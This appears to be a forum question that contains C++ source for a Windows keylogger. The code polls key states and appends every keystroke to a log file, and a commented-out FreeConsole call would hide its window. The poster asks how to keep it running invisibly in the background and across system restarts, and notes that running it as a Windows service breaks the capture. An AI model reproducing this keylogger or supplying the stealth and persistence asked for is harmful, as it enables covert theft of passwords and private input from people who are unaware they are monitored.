#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int key, const char *file);
int main()
{
//FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++)
{
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, const char* file) {
cout << "key => " << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
switch (_key)
{
case VK_SHIFT:
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
break;
case VK_RETURN:
fprintf(OUTPUT_FILE, "%s", "\n");
break;
case VK_BACK:
fprintf(OUTPUT_FILE, "%s", "[REMOVED_CHARACTER]");
break;
case VK_TAB:
fprintf(OUTPUT_FILE, "%s", "[TAB]");
break;
case VK_SPACE:
fprintf(OUTPUT_FILE, "%s", " ");
break;
case VK_CONTROL:
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
break;
default:
fprintf(OUTPUT_FILE, "%s", &_key);
break;
}
fclose(OUTPUT_FILE);
return 0;
}
What I want to achieve is run my .exe file in background and forever even if system restarts.
I have created similar functionality in node JS as well but the problem is when run the .exe file from windows service then keypress events stops working and nothing is getting logged when I run .exe file directly it works fine and keypress events work fine